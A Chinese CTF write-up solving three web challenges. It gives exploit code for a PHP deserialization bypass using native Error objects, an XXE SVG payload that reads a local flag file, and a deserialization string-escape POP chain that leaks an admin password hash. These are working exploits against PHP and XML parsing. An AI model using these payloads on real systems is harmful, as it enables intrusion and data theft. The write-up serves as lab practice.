BUUCTF刷题（3）

[极客大挑战 2020]Greatphp

进去给了源代码

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<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}
?>

php反序列化+php原生类+取反绕过=秒了

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<?php
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$great = new SYCLOVER();
$great->syc = $a;
$great->lover = $b;
echo(urlencode(serialize($great)));
?>

[BSidesCF 2019]SVGMagic

如题

SVG矢量图（使用xml编写）？一眼XXE

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<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

文件包含多考虑/proc文件，本题/proc/self/cwd就是当前路径

[GYCTF2020]Easyphp

考点：反序列化的对象逃逸

进入之后发现有/www.zip泄露

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<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好！".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败，错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误！');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}
//lib.php
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<?php 
$user=new user();
if(isset($_POST['username'])){
	if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
		die("<br>Damn you, hacker!");
	}
	if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
		die("Damn you, hacker!");
	}
	$user->login();
}
?>
//login.php
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<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面，上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢！";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}
?>
//update.php

代码审计，发现login.php中的过滤坚不可摧（

而且lib.php中有反序列化入口，很显然是要我们反序列化打

入口

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public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

pop链子：UpdateHelper::__desturce(sql = new User()) => User::__toString(nickname = new Info()) => Info::__call(CtrlCase = new dbCtrl()) => login()

反序列化字符逃逸

由于我们是逃逸出来的，所以我们必须得让程序能够成功的序列化。

我们来生成一个正常的Info类对象：

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<?php
class Info{
    public $age = 19;
    public $nickname='Lazy_fish';
    public $CtrlCase;
}
echo serialize(new Info());
O:4:"Info":3:{s:3:"age";s:2:"20";s:8:"nickname";s:4:"JOHN";s:8:"CtrlCase";N;}

在这个反序列化字符串中，我们能够控制的属性是age和nickname；由于反序列化的字符中有三个属性。为了保持一致，所以我们要在payload前加上";s:8:"CtrlCase";在后面加上}来闭合这个反序列化字符串。让它把后面的字符忽略。

这里一共使443个字符，因此需要nickname中插入适当的黑名单字符，把payload逃逸出去，一个union变成hacker会多出一个字符，这里用443个union。

最终版本

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<?php
class User{
    public $id;
    public $age="select password,id from user where username=?";
    public $nickname=null;
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }   
}
class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name='admin';
    public $password;
    public $mysqli;
    public $token='admin';
}
$d = new dbCtrl();
$b = new Info('','1');
$b->CtrlCase=$d;
$a = new user();
$a->nickname=$b;
$c=new UpdateHelper();
$c->sql=$a;
$payload = '";s:8:"CtrlCase";' . serialize($c) . "}";
$length = strlen($payload);
$payload = str_repeat('union', $length).$payload;
echo($payload);
?>

得到密码da59e4f1324894ee311779eda7e83abd，丢到md5解密试一试

直接登录

  • 累了，有时间补充。